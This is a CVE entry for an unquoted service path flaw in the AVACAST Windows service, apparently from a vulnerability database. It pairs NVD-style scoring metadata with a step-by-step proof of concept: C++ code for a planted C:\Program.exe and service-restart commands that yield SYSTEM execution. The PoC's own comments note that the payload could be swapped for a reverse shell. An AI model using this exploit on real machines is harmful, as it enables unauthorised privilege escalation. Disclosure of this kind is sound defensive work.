CVE-2026-7280

// PoC for CVE-2026-7280: Unquoted Service Path Vulnerability // Step 1: Check the service configuration using sc.exe or PowerShell // sc qc AvacastSvc // Step 2: Create a malicious executable (e.g., C:\Program.exe) // Compile the following C++ code to Program.exe #include <windows.h> int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // Proof of Concept: Pop a calc or reverse shell WinExec("cmd.exe /c whoami > C:\poc_result.txt", SW_HIDE); // MessageBox(NULL, L"CVE-2026-7280 Exploited", L"PoC", MB_OK); return 0; } // Step 3: Place the executable // Copy Program.exe to C:\Program.exe // Step 4: Restart the service to trigger the exploit // net stop AvacastSvc // net start AvacastSvc // The file C:\poc_result.txt should now contain the SYSTEM user context.

{"cve": {"id": "CVE-2026-7280", "sourceIdentifier": "[email protected]", "published": "2026-04-28T10:16:04.263", "lastModified": "2026-04-28T20:22:38.260", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "AVACAST developed by eMPIA Technology has a Unquoted Service Path vulnerability, allowing privileged local attackers to place a malicious executable file in a specific directory, resulting in arbitrary code execution with system privileges when the AVACAST service starts."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-428"}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10885-02d83-2.html", "source": "[email protected]"}, {"url": "https://www.twcert.org.tw/tw/cp-132-10884-f9c21-1.html", "source": "[email protected]"}]}}